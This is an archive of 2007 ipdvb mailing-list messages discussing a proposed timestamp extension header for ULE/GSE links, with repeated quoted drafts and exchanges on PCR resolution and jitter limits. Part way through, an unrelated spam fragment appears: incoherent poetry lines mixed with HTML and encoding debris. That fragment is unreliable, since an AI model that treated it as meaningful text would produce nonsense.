>> Clearly there are many options for representation, including ...
>> "A resolution of 20 microseconds. The 32-bit value therefore indicates 
>> the number of 20 microsecond ticks past midnight Universal Time when 
>> the timestamp option was inserted, right-justified to the 32-bit field."
>>
>> All thoughts are welcome!
>>
>> Best wishes,
>>
>> Gorry
>>
>>
>> ---
>>
>>
>> Timestamp Extension Header
>>
>> The timestamp extension is designed to support monitoring and 
>> measurement of ULE performance over a link to provide indications of 
>> the quality of an operational ULE link. It may be particularly useful 
>> for GSE links (where significant complexity exists in the scheduling 
>> provided by the lower layers). The extension permits an Encapsulator 
>> to insert an extension header while forming an SNDU. This extension 
>> may be (optionally) checked at the Reciever.
>>
>> Possible uses of this extension include:
>>
>> * Validation of in-sequence ordering per Logical Channel,
>> * Measurement of the one-way delay (when synchronised with the sender)
>> * Measurement of PDU Jitter introduced by the link,
>> * PDU loss (with additional information from the sender).
>>
>>
>> >>> IANA please insert a value for the H-Type from the Next-Header 
>> Registry in the sentence below, and the figure following <<<
>>
>> The Timestamp Extension Header is specified by the IANA-assigned 
>> H-Type of 0xTBD. The format of the Timestamp extension is shown in 
>> figure XX below.
>>
>>  0               7               15              23              31
>>  +---------------+---------------+---------------+---------------+
>>  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
>>  +---------------+---------------+---------------+---------------+
>>  |         time stamp LO         |            Type               |
>>  +---------------+---------------+---------------+---------------+
>>
>>
>>
>> This extension is an Optional Extension Header ([RFC4326], Section 5).
>> Figure 2 shows the format of this extension with a HLEN value of 3 
>> indicating a timestamp of length 4B  plus a Type field.
>>
>> The extension carries a 32-bit value (time stamp HI plus time stamp 
>> LO). The specified resolution is 1 microsecond. The value therefore 
>> indicates the number of 1 microsecond ticks past the hour in Universal 
>> Time when the timestamp option was inserted, right-justified to the 
>> 32-bit field. Systems unable to insert timestamps at the specified 
>> resolution may use an arbitary (and varying) value to pad the unused 
>> least-significant bits.
>>
>> The last two bytes carry a 16-bit Type field that indicates the type 
>> of payload carried in an SNDU, or the presence of a further 
>> Next-Header, as defined in [RFC4326], Section 4.4.
>>
>> This is an Optional Extension Header, Receivers that do not implement, 
>> or do not wish to process the Timestamp Extension MAY skip this 
>> extension and continue to process the remainder of the SNDU.
>>
>>
>>
>>
> 
> 




From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 07:41:44 2007
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Date: Tue, 27 Feb 2007 05:27:11 -0700
From: Marie-Jose Montpetit <marie@mjmontpetit.com>
Subject: RE: A proposal for a link timestamp option for ULE/GSE - Comments?
To: ipdvb@erg.abdn.ac.uk
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I agree and yes we need to get a time stamp higher in the stack for (as
mentioned below) delay and jitter but could also for some time
sensitive applications.

/mjm

> -------- Original Message --------
> Subject: Re: A proposal for a link timestamp option for ULE/GSE -
> Comments?
> From: Georgios Gardikis <gardikis@iit.demokritos.gr>
> Date: Tue, February 27, 2007 5:40 am
> To: ipdvb@erg.abdn.ac.uk
> 
> It seems quite a good idea.
> We often come to the point where we need to measure delay and jitter 
> over DVB networks, and we have no choice but proprietary, IP-based 
> methods. Including a timestamp at the encapsulation stage could be quite 
> handy.
> Also, in the GSE case (no MPEG-2 TS), this extension could act as a new 
> PCR, providing encapsulator (rather than multiplexer) clock reference.
> 
> George
> 
> ----------
> 
> Dr. Georgios Gardikis
> Associate Researcher
> NCSR "Demokritos", Institute of Informatics and Telecommunications
> Athens 153 10, Greece
> Tel: +30 210 650 3108
> Fax: +30 210 653 2175
> 
> 
> 
> Gorry Fairhurst wrote:
> 
> >
> > I've written the propsoal below as a candidate (if useful) for 
> > inclusion in the ULE extension header draft.
> >
> > I realise there may be some debate about how to fix a sensible 
> > timestamp value - so here is a first attempt via the list to see if 
> > others have any comments or ideas...
> >
> > Clearly there are many options for representation, including ...
> > "A resolution of 20 microseconds. The 32-bit value therefore indicates 
> > the number of 20 microsecond ticks past midnight Universal Time when 
> > the timestamp option was inserted, right-justified to the 32-bit field."
> >
> > All thoughts are welcome!
> >
> > Best wishes,
> >
> > Gorry
> >
> >
> > ---
> >
> >
> > Timestamp Extension Header
> >
> > The timestamp extension is designed to support monitoring and 
> > measurement of ULE performance over a link to provide indications of 
> > the quality of an operational ULE link. It may be particularly useful 
> > for GSE links (where significant complexity exists in the scheduling 
> > provided by the lower layers). The extension permits an Encapsulator 
> > to insert an extension header while forming an SNDU. This extension 
> > may be (optionally) checked at the Reciever.
> >
> > Possible uses of this extension include:
> >
> > * Validation of in-sequence ordering per Logical Channel,
> > * Measurement of the one-way delay (when synchronised with the sender)
> > * Measurement of PDU Jitter introduced by the link,
> > * PDU loss (with additional information from the sender).
> >
> >
> > >>> IANA please insert a value for the H-Type from the Next-Header 
> > Registry in the sentence below, and the figure following <<<
> >
> > The Timestamp Extension Header is specified by the IANA-assigned 
> > H-Type of 0xTBD. The format of the Timestamp extension is shown in 
> > figure XX below.
> >
> >  0               7               15              23              31
> >  +---------------+---------------+---------------+---------------+
> >  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
> >  +---------------+---------------+---------------+---------------+
> >  |         time stamp LO         |            Type               |
> >  +---------------+---------------+---------------+---------------+
> >
> >
> >
> > This extension is an Optional Extension Header ([RFC4326], Section 5).
> > Figure 2 shows the format of this extension with a HLEN value of 3 
> > indicating a timestamp of length 4B  plus a Type field.
> >
> > The extension carries a 32-bit value (time stamp HI plus time stamp 
> > LO). The specified resolution is 1 microsecond. The value therefore 
> > indicates the number of 1 microsecond ticks past the hour in Universal 
> > Time when the timestamp option was inserted, right-justified to the 
> > 32-bit field. Systems unable to insert timestamps at the specified 
> > resolution may use an arbitary (and varying) value to pad the unused 
> > least-significant bits.
> >
> > The last two bytes carry a 16-bit Type field that indicates the type 
> > of payload carried in an SNDU, or the presence of a further 
> > Next-Header, as defined in [RFC4326], Section 4.4.
> >
> > This is an Optional Extension Header, Receivers that do not implement, 
> > or do not wish to process the Timestamp Extension MAY skip this 
> > extension and continue to process the remainder of the SNDU.
> >
> >
> >
> >




From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 08:04:45 2007
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Date: Tue, 27 Feb 2007 14:38:51 +0200
From: Georgios Gardikis <gardikis@iit.demokritos.gr>
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To: ipdvb@erg.abdn.ac.uk
Subject: Re: A proposal for a link timestamp option for ULE/GSE - Comments?
References: <45E3FBCF.1040509@erg.abdn.ac.uk> <45E40AB5.80408@iit.demokritos.gr> <45E40BE2.7030801@erg.abdn.ac.uk>
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The granularity of the PCR goes down to 37 nsec and the maximum PCR 
jitter allowed is 500 nsec.
The PCR field is 42 bits, and wraps around every 26 hours (it is an 
incremental counter than a distance from midnight).
Maybe we could increase the resolution of the proposed timestamp to be 
more accurate.

George

Dr. Georgios Gardikis
Associate Researcher
NCSR "Demokritos", Institute of Informatics and Telecommunications
Athens 153 10, Greece
Tel: +30 210 650 3108
Fax: +30 210 653 2175



Gorry Fairhurst wrote:

> Are there timing constraints on the PCR that you would expect to need 
> for GSE, that would imply a certain required timestamp resolution?
>
> Gorry
>
> Georgios Gardikis wrote:
>
>> It seems quite a good idea.
>> We often come to the point where we need to measure delay and jitter 
>> over DVB networks, and we have no choice but proprietary, IP-based 
>> methods. Including a timestamp at the encapsulation stage could be 
>> quite handy.
>> Also, in the GSE case (no MPEG-2 TS), this extension could act as a 
>> new PCR, providing encapsulator (rather than multiplexer) clock 
>> reference.
>>
>> George
>>
>> ----------
>>
>> Dr. Georgios Gardikis
>> Associate Researcher
>> NCSR "Demokritos", Institute of Informatics and Telecommunications
>> Athens 153 10, Greece
>> Tel: +30 210 650 3108
>> Fax: +30 210 653 2175
>>
>>
>>
>> Gorry Fairhurst wrote:
>>
>>>
>>> I've written the propsoal below as a candidate (if useful) for 
>>> inclusion in the ULE extension header draft.
>>>
>>> I realise there may be some debate about how to fix a sensible 
>>> timestamp value - so here is a first attempt via the list to see if 
>>> others have any comments or ideas...
>>>
>>> Clearly there are many options for representation, including ...
>>> "A resolution of 20 microseconds. The 32-bit value therefore 
>>> indicates the number of 20 microsecond ticks past midnight Universal 
>>> Time when the timestamp option was inserted, right-justified to the 
>>> 32-bit field."
>>>
>>> All thoughts are welcome!
>>>
>>> Best wishes,
>>>
>>> Gorry
>>>
>>>
>>> ---
>>>
>>>
>>> Timestamp Extension Header
>>>
>>> The timestamp extension is designed to support monitoring and 
>>> measurement of ULE performance over a link to provide indications of 
>>> the quality of an operational ULE link. It may be particularly 
>>> useful for GSE links (where significant complexity exists in the 
>>> scheduling provided by the lower layers). The extension permits an 
>>> Encapsulator to insert an extension header while forming an SNDU. 
>>> This extension may be (optionally) checked at the Reciever.
>>>
>>> Possible uses of this extension include:
>>>
>>> * Validation of in-sequence ordering per Logical Channel,
>>> * Measurement of the one-way delay (when synchronised with the sender)
>>> * Measurement of PDU Jitter introduced by the link,
>>> * PDU loss (with additional information from the sender).
>>>
>>>
>>> >>> IANA please insert a value for the H-Type from the Next-Header 
>>> Registry in the sentence below, and the figure following <<<
>>>
>>> The Timestamp Extension Header is specified by the IANA-assigned 
>>> H-Type of 0xTBD. The format of the Timestamp extension is shown in 
>>> figure XX below.
>>>
>>>  0               7               15              23              31
>>>  +---------------+---------------+---------------+---------------+
>>>  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
>>>  +---------------+---------------+---------------+---------------+
>>>  |         time stamp LO         |            Type               |
>>>  +---------------+---------------+---------------+---------------+
>>>
>>>
>>>
>>> This extension is an Optional Extension Header ([RFC4326], Section 5).
>>> Figure 2 shows the format of this extension with a HLEN value of 3 
>>> indicating a timestamp of length 4B  plus a Type field.
>>>
>>> The extension carries a 32-bit value (time stamp HI plus time stamp 
>>> LO). The specified resolution is 1 microsecond. The value therefore 
>>> indicates the number of 1 microsecond ticks past the hour in 
>>> Universal Time when the timestamp option was inserted, 
>>> right-justified to the 32-bit field. Systems unable to insert 
>>> timestamps at the specified resolution may use an arbitary (and 
>>> varying) value to pad the unused least-significant bits.
>>>
>>> The last two bytes carry a 16-bit Type field that indicates the type 
>>> of payload carried in an SNDU, or the presence of a further 
>>> Next-Header, as defined in [RFC4326], Section 4.4.
>>>
>>> This is an Optional Extension Header, Receivers that do not 
>>> implement, or do not wish to process the Timestamp Extension MAY 
>>> skip this extension and continue to process the remainder of the SNDU.
>>>
>>>
>>>
>>>
>>
>>
>



From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 11:04:46 2007
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Date: Tue, 27 Feb 2007 15:32:07 +0000
From: Gorry Fairhurst <gorry@erg.abdn.ac.uk>
Organization: University of Aberdeen, UK
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To: ipdvb@erg.abdn.ac.uk
Subject: Re: A proposal for a link timestamp option for ULE/GSE - Comments?
References: <45E3FBCF.1040509@erg.abdn.ac.uk> <45E40AB5.80408@iit.demokritos.gr> <45E40BE2.7030801@erg.abdn.ac.uk> <45E4265B.8070706@iit.demokritos.gr>
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So...

For Packet performance tests over links at 100's Mbps, perhaps 
microsecond accuracy would be sufficient?

For a PCR/NCR we're speaking of regenerating high-stability clocks. 
Finer resolution may be good (as in the existing NCR/PCR), but then it 
is important to also provide rules for placement in the transmission 
frames (as Ulrik mentioned). I'm not against a higher-resolution (a 
64-bit version????).

Should we separate these two functions? or do we need to look at 
something that covers both?

Gorry

Georgios Gardikis wrote:

> The granularity of the PCR goes down to 37 nsec and the maximum PCR 
> jitter allowed is 500 nsec.
> The PCR field is 42 bits, and wraps around every 26 hours (it is an 
> incremental counter than a distance from midnight).
> Maybe we could increase the resolution of the proposed timestamp to be 
> more accurate.
> 
> George
> 
> Dr. Georgios Gardikis
> Associate Researcher
> NCSR "Demokritos", Institute of Informatics and Telecommunications
> Athens 153 10, Greece
> Tel: +30 210 650 3108
> Fax: +30 210 653 2175
> 
> 
> 
> Gorry Fairhurst wrote:
> 
>> Are there timing constraints on the PCR that you would expect to need 
>> for GSE, that would imply a certain required timestamp resolution?
>>
>> Gorry
>>
>> Georgios Gardikis wrote:
>>
>>> It seems quite a good idea.
>>> We often come to the point where we need to measure delay and jitter 
>>> over DVB networks, and we have no choice but proprietary, IP-based 
>>> methods. Including a timestamp at the encapsulation stage could be 
>>> quite handy.
>>> Also, in the GSE case (no MPEG-2 TS), this extension could act as a 
>>> new PCR, providing encapsulator (rather than multiplexer) clock 
>>> reference.
>>>
>>> George
>>>
>>> ----------
>>>
>>> Dr. Georgios Gardikis
>>> Associate Researcher
>>> NCSR "Demokritos", Institute of Informatics and Telecommunications
>>> Athens 153 10, Greece
>>> Tel: +30 210 650 3108
>>> Fax: +30 210 653 2175
>>>
>>>
>>>
>>> Gorry Fairhurst wrote:
>>>
>>>>
>>>> I've written the propsoal below as a candidate (if useful) for 
>>>> inclusion in the ULE extension header draft.
>>>>
>>>> I realise there may be some debate about how to fix a sensible 
>>>> timestamp value - so here is a first attempt via the list to see if 
>>>> others have any comments or ideas...
>>>>
>>>> Clearly there are many options for representation, including ...
>>>> "A resolution of 20 microseconds. The 32-bit value therefore 
>>>> indicates the number of 20 microsecond ticks past midnight Universal 
>>>> Time when the timestamp option was inserted, right-justified to the 
>>>> 32-bit field."
>>>>
>>>> All thoughts are welcome!
>>>>
>>>> Best wishes,
>>>>
>>>> Gorry
>>>>
>>>>
>>>> ---
>>>>
>>>>
>>>> Timestamp Extension Header
>>>>
>>>> The timestamp extension is designed to support monitoring and 
>>>> measurement of ULE performance over a link to provide indications of 
>>>> the quality of an operational ULE link. It may be particularly 
>>>> useful for GSE links (where significant complexity exists in the 
>>>> scheduling provided by the lower layers). The extension permits an 
>>>> Encapsulator to insert an extension header while forming an SNDU. 
>>>> This extension may be (optionally) checked at the Reciever.
>>>>
>>>> Possible uses of this extension include:
>>>>
>>>> * Validation of in-sequence ordering per Logical Channel,
>>>> * Measurement of the one-way delay (when synchronised with the sender)
>>>> * Measurement of PDU Jitter introduced by the link,
>>>> * PDU loss (with additional information from the sender).
>>>>
>>>>
>>>> >>> IANA please insert a value for the H-Type from the Next-Header 
>>>> Registry in the sentence below, and the figure following <<<
>>>>
>>>> The Timestamp Extension Header is specified by the IANA-assigned 
>>>> H-Type of 0xTBD. The format of the Timestamp extension is shown in 
>>>> figure XX below.
>>>>
>>>>  0               7               15              23              31
>>>>  +---------------+---------------+---------------+---------------+
>>>>  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
>>>>  +---------------+---------------+---------------+---------------+
>>>>  |         time stamp LO         |            Type               |
>>>>  +---------------+---------------+---------------+---------------+
>>>>
>>>>
>>>>
>>>> This extension is an Optional Extension Header ([RFC4326], Section 5).
>>>> Figure 2 shows the format of this extension with a HLEN value of 3 
>>>> indicating a timestamp of length 4B  plus a Type field.
>>>>
>>>> The extension carries a 32-bit value (time stamp HI plus time stamp 
>>>> LO). The specified resolution is 1 microsecond. The value therefore 
>>>> indicates the number of 1 microsecond ticks past the hour in 
>>>> Universal Time when the timestamp option was inserted, 
>>>> right-justified to the 32-bit field. Systems unable to insert 
>>>> timestamps at the specified resolution may use an arbitary (and 
>>>> varying) value to pad the unused least-significant bits.
>>>>
>>>> The last two bytes carry a 16-bit Type field that indicates the type 
>>>> of payload carried in an SNDU, or the presence of a further 
>>>> Next-Header, as defined in [RFC4326], Section 4.4.
>>>>
>>>> This is an Optional Extension Header, Receivers that do not 
>>>> implement, or do not wish to process the Timestamp Extension MAY 
>>>> skip this extension and continue to process the remainder of the SNDU.
>>>>
>>>>
>>>>
>>>>
>>>
>>>
>>
> 
> 




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ht;Set on that tomb in the eternal night;And he is swathed in ever-petrifie=
d dread;with visors. Their brave recreational vehiclesand the numbed yards =
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n lieto matter, for the flushed boys are muscularLooms in the air, delibera=
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<DIV>When Arctic winds crack down from Canada<br>Wind, sleet. The branches =
sway,<br>Chose to walk out of it, they'd have to pass<br>Set on that tomb i=
n the eternal night;<br>Set on that tomb in the eternal night;<br>And he is=
 swathed in ever-petrified dread;<br>with visors. Their brave recreational =
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se pediments that rise<br>IX. After the Great Northern Expedition<br>Wind, =
sleet. The branches sway,<br>Calling me to you with wild gesturings<br>Sway=
ing in unison beneath the snow,<br>Of Boyg of Normandy . . .<br>X. The Brit=
ish Attack on the Arctic<br>Of too much truth to do much more than lie<br>t=
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------=_NextPart_000_000F_01C75A8C.C4237D90--




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From: johanfirdi <johanfirdi@jmn.net.id>
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To: ipdvb@erg.abdn.ac.uk
Subject: Re: A proposal for a link timestamp option for ULE/GSE - Comments?
References: <45E3FBCF.1040509@erg.abdn.ac.uk> <45E40AB5.80408@iit.demokritos.gr> <45E40BE2.7030801@erg.abdn.ac.uk> <45E4265B.8070706@iit.demokritos.gr>
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Hi Georgios,

how do u calculate PCR number come to37 nsec ?. and maximum allowed is 
500 nsec.
Do u have paper for this ?.
Thanks

Johan

Georgios Gardikis wrote:
> The granularity of the PCR goes down to 37 nsec and the maximum PCR 
> jitter allowed is 500 nsec.
> The PCR field is 42 bits, and wraps around every 26 hours (it is an 
> incremental counter than a distance from midnight).
> Maybe we could increase the resolution of the proposed timestamp to be 
> more accurate.
>
> George
>
> Dr. Georgios Gardikis
> Associate Researcher
> NCSR "Demokritos", Institute of Informatics and Telecommunications
> Athens 153 10, Greece
> Tel: +30 210 650 3108
> Fax: +30 210 653 2175
>
>
>
> Gorry Fairhurst wrote:
>
>> Are there timing constraints on the PCR that you would expect to need 
>> for GSE, that would imply a certain required timestamp resolution?
>>
>> Gorry
>>
>> Georgios Gardikis wrote:
>>
>>> It seems quite a good idea.
>>> We often come to the point where we need to measure delay and jitter 
>>> over DVB networks, and we have no choice but proprietary, IP-based 
>>> methods. Including a timestamp at the encapsulation stage could be 
>>> quite handy.
>>> Also, in the GSE case (no MPEG-2 TS), this extension could act as a 
>>> new PCR, providing encapsulator (rather than multiplexer) clock 
>>> reference.
>>>
>>> George
>>>
>>> ----------
>>>
>>> Dr. Georgios Gardikis
>>> Associate Researcher
>>> NCSR "Demokritos", Institute of Informatics and Telecommunications
>>> Athens 153 10, Greece
>>> Tel: +30 210 650 3108
>>> Fax: +30 210 653 2175
>>>
>>>
>>>
>>> Gorry Fairhurst wrote:
>>>
>>>>
>>>> I've written the propsoal below as a candidate (if useful) for 
>>>> inclusion in the ULE extension header draft.
>>>>
>>>> I realise there may be some debate about how to fix a sensible 
>>>> timestamp value - so here is a first attempt via the list to see if 
>>>> others have any comments or ideas...
>>>>
>>>> Clearly there are many options for representation, including ...
>>>> "A resolution of 20 microseconds. The 32-bit value therefore 
>>>> indicates the number of 20 microsecond ticks past midnight 
>>>> Universal Time when the timestamp option was inserted, 
>>>> right-justified to the 32-bit field."
>>>>
>>>> All thoughts are welcome!
>>>>
>>>> Best wishes,
>>>>
>>>> Gorry
>>>>
>>>>
>>>> ---
>>>>
>>>>
>>>> Timestamp Extension Header
>>>>
>>>> The timestamp extension is designed to support monitoring and 
>>>> measurement of ULE performance over a link to provide indications 
>>>> of the quality of an operational ULE link. It may be particularly 
>>>> useful for GSE links (where significant complexity exists in the 
>>>> scheduling provided by the lower layers). The extension permits an 
>>>> Encapsulator to insert an extension header while forming an SNDU. 
>>>> This extension may be (optionally) checked at the Reciever.
>>>>
>>>> Possible uses of this extension include:
>>>>
>>>> * Validation of in-sequence ordering per Logical Channel,
>>>> * Measurement of the one-way delay (when synchronised with the sender)
>>>> * Measurement of PDU Jitter introduced by the link,
>>>> * PDU loss (with additional information from the sender).
>>>>
>>>>
>>>> >>> IANA please insert a value for the H-Type from the Next-Header 
>>>> Registry in the sentence below, and the figure following <<<
>>>>
>>>> The Timestamp Extension Header is specified by the IANA-assigned 
>>>> H-Type of 0xTBD. The format of the Timestamp extension is shown in 
>>>> figure XX below.
>>>>
>>>>  0               7               15              23              31
>>>>  +---------------+---------------+---------------+---------------+
>>>>  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
>>>>  +---------------+---------------+---------------+---------------+
>>>>  |         time stamp LO         |            Type               |
>>>>  +---------------+---------------+---------------+---------------+
>>>>
>>>>
>>>>
>>>> This extension is an Optional Extension Header ([RFC4326], Section 5).
>>>> Figure 2 shows the format of this extension with a HLEN value of 3 
>>>> indicating a timestamp of length 4B  plus a Type field.
>>>>
>>>> The extension carries a 32-bit value (time stamp HI plus time stamp 
>>>> LO). The specified resolution is 1 microsecond. The value therefore 
>>>> indicates the number of 1 microsecond ticks past the hour in 
>>>> Universal Time when the timestamp option was inserted, 
>>>> right-justified to the 32-bit field. Systems unable to insert 
>>>> timestamps at the specified resolution may use an arbitary (and 
>>>> varying) value to pad the unused least-significant bits.
>>>>
>>>> The last two bytes carry a 16-bit Type field that indicates the 
>>>> type of payload carried in an SNDU, or the presence of a further 
>>>> Next-Header, as defined in [RFC4326], Section 4.4.
>>>>
>>>> This is an Optional Extension Header, Receivers that do not 
>>>> implement, or do not wish to process the Timestamp Extension MAY 
>>>> skip this extension and continue to process the remainder of the SNDU.
>>>>
>>>>
>>>>
>>>>
>>>
>>>
>>
>
>
>




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From: =?ISO-8859-1?Q?Klaus_W=FCrflinger?= <kwuerfl@cosy.sbg.ac.at>
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Subject: Re: A proposal for a link timestamp option for ULE/GSE - Comments?
References: <45E3FBCF.1040509@erg.abdn.ac.uk> <45E40AB5.80408@iit.demokritos.gr> <45E40BE2.7030801@erg.abdn.ac.uk> <45E4265B.8070706@iit.demokritos.gr> <45E4D6B6.3060101@jmn.net.id>
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Hi Johan,

PCR is defined in ISO/IEC 13818-1 to be 27MHz =3D> 1/27MHz ~ 37ns.
PCR jitter limits are standardised in ETSI TR 101290.
ETSI standards are available for free download at www.etsi.org

Regards,
Klaus

johanfirdi wrote:
> Hi Georgios,
>=20
> how do u calculate PCR number come to37 nsec ?. and maximum allowed is
> 500 nsec.
> Do u have paper for this ?.
> Thanks
>=20
> Johan
>=20
> Georgios Gardikis wrote:
>> The granularity of the PCR goes down to 37 nsec and the maximum PCR
>> jitter allowed is 500 nsec.
>> The PCR field is 42 bits, and wraps around every 26 hours (it is an
>> incremental counter than a distance from midnight).
>> Maybe we could increase the resolution of the proposed timestamp to be
>> more accurate.
>>
>> George
>>
>> Dr. Georgios Gardikis
>> Associate Researcher
>> NCSR "Demokritos", Institute of Informatics and Telecommunications
>> Athens 153 10, Greece
>> Tel: +30 210 650 3108
>> Fax: +30 210 653 2175
>>
>>
>>
--=20
Klaus W=FCrflinger
Multimedia Communications Group
Dept. of Computer Sciences
Paris Lodron University Salzburg
Jakob-Haringer-Str. 2
5020 Salzburg, Austria
T: (+43)662/8044-6332
F: (+43)662/8044-172
E: kwuerfl@cosy.sbg.ac.at



